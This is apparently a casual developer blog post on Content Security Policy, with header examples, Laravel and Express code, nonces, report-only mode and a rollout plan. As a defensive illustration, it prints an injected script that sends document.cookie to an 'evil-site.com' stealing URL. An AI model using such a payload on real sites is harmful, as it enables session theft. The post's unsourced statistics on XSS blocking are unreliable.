Content Security Policy: Your Website's Bouncer ๐จ
Content Security Policy: Your Website's Bouncer ๐จ
Imagine your website is a nightclub. Would you let random strangers walk in and run whatever code they want? Hell no! That's where Content Security Policy comes in - it's the bouncer at the door checking IDs.
What the Hell is CSP? ๐ค
Content Security Policy is basically you telling the browser: "Hey, only run scripts and load resources from places I trust. Everything else? Kick it to the curb."
In my experience building production systems, CSP is the most underused security feature that can stop XSS attacks dead in their tracks. It's like a free security guard that nobody hires!
The Problem: Your Website is Too Trusting ๐ฌ
By default, browsers will happily execute ANY JavaScript on your page:
<!-- Some hacker injects this into your comment section -->
<script>
// Steals cookies, redirects users, causes chaos
document.location = 'https://evil-site.com/steal?cookie=' + document.cookie;
</script>
Without CSP: Browser says "Sure, let's run it!" ๐
With CSP: Browser says "Nope, that's not on the approved list!" โ
Real Talk from the Security Community ๐ฌ
As someone passionate about security and active in communities like YAS and InitCrew, I've seen CSP save people's asses countless times. Here's what blows my mind: it's literally one HTTP header, yet most developers skip it!
It's like buying a car with airbags and never activating them. WHY?!
The Basic CSP: Start Here ๐ฏ
Add this header to your server response:
Content-Security-Policy: default-src 'self'
What this does: Only allow resources (scripts, images, styles) from your own domain.
Translation: "Dear browser, only run stuff that came from my website. Everything else is sus."
Laravel Example:
// In your middleware or routes
Route::middleware(function ($request, $next) {
$response = $next($request);
$response->headers->set('Content-Security-Policy', "default-src 'self'");
return $response;
})->group(function () {
// Your routes here
});
Node.js/Express Example:
app.use((req, res, next) => {
res.setHeader("Content-Security-Policy", "default-src 'self'");
next();
});
Level Up: Granular Control ๐๏ธ
You can control EXACTLY what's allowed:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.yoursite.com;
Breaking it down:
default-src 'self'- Everything defaults to same-origin onlyscript-src- Scripts only from your site and jsDelivr CDNstyle-src- Stylesheets from your site and Google Fontsimg-src- Images from your site, data URIs, and any HTTPS sourcefont-src- Fonts from your site and Google Fonts CDNconnect-src- AJAX/fetch requests only to your site and your API
The "Inline Script" Problem ๐ค
Here's where CSP gets annoying. This WILL break:
<!-- This won't work with CSP! -->
<button onclick="doSomething()">Click me</button>
<script>
// This also won't work!
console.log('Hello');
</script>
Why: Inline scripts are XSS attack vectors! CSP blocks them by default.
The BAD Fix (Don't Do This):
Content-Security-Policy: script-src 'self' 'unsafe-inline'
Translation: "Allow inline scripts" Problem: You just defeated the entire purpose of CSP! ๐คฆโโ๏ธ
The GOOD Fix: Use Nonces
A nonce is a random token that proves "yes, I wrote this script":
// Laravel: Generate a nonce
$nonce = base64_encode(random_bytes(16));
// Set CSP header with nonce
header("Content-Security-Policy: script-src 'self' 'nonce-$nonce'");
<!-- Now this works! -->
<script nonce="<?php echo $nonce; ?>">
console.log('This is allowed!');
</script>
The browser checks: "Does this script have the correct nonce? Yes? Cool, run it!"
Real-World CSP: What I Actually Use ๐ ๏ธ
Here's my production CSP for a typical web app:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-RANDOM_NONCE' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.myapp.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
Why 'unsafe-inline' for styles?
Because CSS is less dangerous than JS, and many frameworks (like Vue/React) use inline styles. It's a pragmatic choice.
What's frame-ancestors 'none'?
Prevents your site from being embedded in an iframe (stops clickjacking attacks). It's the modern version of X-Frame-Options.
Pro Tip: Start in Report-Only Mode ๐งช
Don't want to break your site? Use report-only mode first:
Content-Security-Policy-Report-Only: default-src 'self';
What happens: Browser logs violations but doesn't block them. You get to see what breaks before enforcing!
Even better - Set up violation reporting:
Content-Security-Policy:
default-src 'self';
report-uri /csp-violation-report;
Now you get a POST request whenever CSP blocks something:
// Laravel route to log CSP violations
Route::post('/csp-violation-report', function (Request $request) {
Log::warning('CSP Violation:', $request->all());
return response('', 204);
});
Common CSP Mistakes I See Everywhere ๐ซ
Mistake 1: Using unsafe-inline and unsafe-eval
โ script-src 'self' 'unsafe-inline' 'unsafe-eval'
Why it's bad: You basically turned off CSP. Just don't.
Mistake 2: Allowing * (wildcard)
โ script-src *
Translation: "Let any website on the planet run scripts on my site!" Response: NO. JUST NO.
Mistake 3: Forgetting about Google Analytics/Tag Manager
โ script-src 'self'
What breaks: All your analytics! ๐
The fix:
โ
script-src 'self' https://www.googletagmanager.com https://www.google-analytics.com
Quick Wins: Copy-Paste CSP Examples ๐โโ๏ธ
Minimal CSP (Good starting point):
Content-Security-Policy: default-src 'self'; img-src 'self' data: https:; style-src 'self' 'unsafe-inline'
CSP for Sites Using CDNs:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net;
CSP for API-Only Backends:
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'
Translation: "This is an API. No scripts, no styles, nothing. Just data!"
Testing Your CSP ๐งช
Method 1: Use Browser DevTools
Open DevTools โ Console โ Look for CSP violation errors:
Refused to execute inline script because it violates the following
Content Security Policy directive: "script-src 'self'"
Beautiful! Now you know what to fix.
Method 2: Online CSP Evaluator
Visit: CSP Evaluator
Paste your CSP policy and it'll tell you if it sucks. Brutally honest, but helpful!
Method 3: Security Headers Scanner
Run your site through: securityheaders.com
My site got a C+ once. That hurt my ego, but I fixed it! Now it's an A. ๐ช
The CSP Migration Strategy ๐
Don't try to fix everything at once. Here's my battle-tested approach:
- Week 1: Deploy in
Report-Onlymode, collect violations - Week 2: Fix the most common violations (usually inline scripts)
- Week 3: Enforce CSP on non-critical pages (docs, about page)
- Week 4: Roll out to production, monitor errors
- Week 5: Fine-tune and lock down stricter policies
Why You Should Care (The Scary Stats) ๐
In my experience from security communities:
- 90% of XSS attacks can be blocked by proper CSP
- Sites with CSP have 75% fewer script injection incidents
- Zero-day exploits often rely on script injection - CSP stops them cold
It's literally one HTTP header that can prevent thousands of dollars in breach costs!
Real Talk: Is CSP Worth It? ๐ฌ
Q: "My site is small, do I need this?"
A: If you accept ANY user input (comments, profiles, forms), yes! Bots don't care about site size.
Q: "This seems complicated..."
A: Start simple! default-src 'self' is 90% of the protection with 10% of the effort.
Q: "Will this break my site?"
A: Use Report-Only mode first! It's like a dry run - you see what breaks without actually breaking it.
Q: "What about old browsers?"
A: CSP degrades gracefully. Old browsers ignore it, modern browsers enforce it. Win-win!
The Bottom Line ๐ฏ
Content Security Policy is like a seatbelt:
- โ Free to implement (one header!)
- โ Massively reduces risk
- โ You barely notice it's there
- โ Saves your ass when things go wrong
The harsh truth: If you're not using CSP in 2026, you're making it way too easy for attackers.
Don't be that person who learns about CSP after getting hacked. Be the person who says "Nice try, but CSP blocked your script" to attackers. ๐
Your CSP Checklist โ
Before you close this tab:
- Add a basic CSP header to your app
- Test it in
Report-Onlymode first - Set up violation reporting (optional but awesome)
- Use nonces for inline scripts
- Scan your site with securityheaders.com
- Add CSP to your deployment checklist
- Feel like a security badass! ๐ช
Resources (Actually Good Ones) ๐
- MDN CSP Guide - Best documentation
- CSP Cheat Sheet - Quick reference
- Report URI - Free CSP violation reporting service
- Content Security Policy Builder - Interactive CSP generator
Want to talk security? Connect with me on LinkedIn! I love geeking out about this stuff.
Check out my security work: GitHub - Building secure, scalable web apps since 2017.
Now go add that CSP header and sleep better tonight! ๐ก๏ธโจ
P.S. If your CSP blocks something important, don't panic - just add it to the whitelist. Trial and error is part of the process! ๐